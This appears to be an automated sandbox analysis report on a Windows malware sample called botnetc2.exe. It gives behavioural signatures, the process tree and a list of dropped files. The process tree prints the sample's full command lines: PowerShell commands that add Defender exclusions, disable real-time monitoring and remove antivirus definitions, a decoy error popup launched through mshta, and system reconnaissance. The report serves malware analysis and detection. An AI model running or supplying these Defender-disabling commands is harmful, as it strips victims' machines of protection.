Analysis
- max time kernel
150s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
07/08/2026, 01:57
General
- Target botnetc2.exe
- Size 20.0MB
- Sample260807-cdhf6sem4y
- SHA256 4f4ca7a9fd78b4405e0e53b517ba381d21b9da5b6f21409b0222806cf593d13d
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Loads dropped DLL 18 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- UPX packed file 54 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\botnetc2.exe"C:\Users\Admin\AppData\Local\Temp\botnetc2.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\botnetc2.exe"C:\Users\Admin\AppData\Local\Temp\botnetc2.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\botnetc2.exe'"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\botnetc2.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Pyhton not found !', 0, 'Warning', 0+16);close()""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Pyhton not found !', 0, 'Warning', 0+16);close()"4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_wmi.pyd
base_library.zip
blank.aes
blank.aes
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python313.dll
rar.exe
rarreg.key
select.pyd
Lorem ipsum.txt
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_lcp51kz3.kbe.ps1
memory/1308-82-0x00007FFDAD8A0000-0x00007FFDAD8B9000-memory.dmp
memory/1308-154-0x00007FFDAD190000-0x00007FFDAD19F000-memory.dmp
memory/1308-80-0x00007FFD9FDB0000-0x00007FFDA02E3000-memory.dmp
memory/1308-74-0x00007FFDAE100000-0x00007FFDAE10D000-memory.dmp
memory/1308-78-0x00007FFDACB90000-0x00007FFDACBA6000-memory.dmp
memory/1308-86-0x00007FFDA04E0000-0x00007FFDA0B49000-memory.dmp
memory/1308-88-0x00007FFDAC270000-0x00007FFDAC33E000-memory.dmp
memory/1308-90-0x00007FFDACBC0000-0x00007FFDACBF3000-memory.dmp
memory/1308-49-0x00007FFDB2590000-0x00007FFDB25AA000-memory.dmp
memory/1308-87-0x00007FFDACC00000-0x00007FFDACC0D000-memory.dmp
memory/1308-96-0x00007FFDAC7D0000-0x00007FFDAC7F5000-memory.dmp
memory/1308-98-0x00007FFDA0350000-0x00007FFDA04D9000-memory.dmp
memory/1308-100-0x00007FFD9F800000-0x00007FFD9F8B3000-memory.dmp
memory/1308-38-0x00007FFDA04E0000-0x00007FFDA0B49000-memory.dmp
memory/1308-64-0x00007FFDACCB0000-0x00007FFDACCDB000-memory.dmp
memory/1308-45-0x00007FFDB7220000-0x00007FFDB722F000-memory.dmp
memory/1308-44-0x00007FFDAD040000-0x00007FFDAD067000-memory.dmp
memory/1308-133-0x00007FFDA04E0000-0x00007FFDA0B49000-memory.dmp
memory/1308-146-0x00007FFDAC7D0000-0x00007FFDAC7F5000-memory.dmp
memory/1308-156-0x00007FFDACB90000-0x00007FFDACBA6000-memory.dmp
memory/1308-155-0x00007FFDAE100000-0x00007FFDAE10D000-memory.dmp
memory/1308-76-0x00007FFDAD190000-0x00007FFDAD19F000-memory.dmp
memory/1308-148-0x00007FFD9F800000-0x00007FFD9F8B3000-memory.dmp
memory/1308-153-0x00007FFDACCB0000-0x00007FFDACCDB000-memory.dmp
memory/1308-152-0x00007FFDB2590000-0x00007FFDB25AA000-memory.dmp
memory/1308-151-0x00007FFDB7220000-0x00007FFDB722F000-memory.dmp
memory/1308-150-0x00007FFDAD040000-0x00007FFDAD067000-memory.dmp
memory/1308-149-0x00007FFDACBC0000-0x00007FFDACBF3000-memory.dmp
memory/1308-141-0x00007FFD9FDB0000-0x00007FFDA02E3000-memory.dmp
memory/1308-147-0x00007FFDA0350000-0x00007FFDA04D9000-memory.dmp
memory/1308-145-0x00007FFDAC270000-0x00007FFDAC33E000-memory.dmp
memory/1308-143-0x00007FFDACC00000-0x00007FFDACC0D000-memory.dmp
memory/1308-142-0x00007FFDAD8A0000-0x00007FFDAD8B9000-memory.dmp
memory/3724-158-0x000001DE2D190000-0x000001DE2D1AC000-memory.dmp
memory/3724-157-0x000001DE2C260000-0x000001DE2C26A000-memory.dmp
memory/3724-124-0x000001DE2CD30000-0x000001DE2CD4C000-memory.dmp
memory/3724-160-0x000001DE2CE10000-0x000001DE2CE1A000-memory.dmp
memory/3724-161-0x000001DE2D1B0000-0x000001DE2D1CA000-memory.dmp
memory/3724-163-0x000001DE2CE30000-0x000001DE2CE36000-memory.dmp
memory/3724-162-0x000001DE2CE20000-0x000001DE2CE28000-memory.dmp
memory/3724-164-0x000001DE2D1D0000-0x000001DE2D1DA000-memory.dmp
memory/3724-125-0x000001DE2CD50000-0x000001DE2CE05000-memory.dmp
memory/3724-101-0x000001DE13CC0000-0x000001DE13CE2000-memory.dmp